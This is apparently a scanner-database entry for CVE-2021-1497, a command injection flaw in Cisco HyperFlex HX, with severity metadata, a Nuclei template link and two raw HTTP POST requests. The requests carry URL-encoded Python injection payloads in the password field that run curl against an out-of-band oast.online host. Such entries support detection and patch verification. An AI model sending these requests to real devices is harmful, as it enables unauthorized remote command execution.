| Title | Cisco HyperFlex HX Data Platform - Remote Command Execution |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Attackers can execute arbitrary commands on the device, potentially leading to full system compromise. |
| Remediation | Apply the latest security updates and patches provided by Cisco for HyperFlex HX. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94396 |
| CVE ID | CVE-2021-1497 |
| CWE ID | CWE-78 |
| Tags | cve cve2021 cisco rce oast kev packetstorm vkev vuln |
Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
POST /auth/change HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 218
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=root&password=123%22%2C%22%22%246%24%24))%3B%20import%20os%3Bos.system(%22curl%20http%3A%2F%2Fd5jn3d9le0o4950ot9ag9izojnu8t9aqk.oast.online%20-H%20%5C%22User-Agent%3A%20HZABSn%5C%22%22)%3Bprint(crypt.crypt(%22
POST /auth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Content-Length: 218
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=root&password=123%22%2C%22%22%246%24%24))%3B%20import%20os%3Bos.system(%22curl%20http%3A%2F%2Fd5jn3d9le0o4950ot9agdw1tnp5dy1nfj.oast.online%20-H%20%5C%22User-Agent%3A%20HZABSn%5C%22%22)%3Bprint(crypt.crypt(%22
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-1497.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-1497.pcap
N/AN/A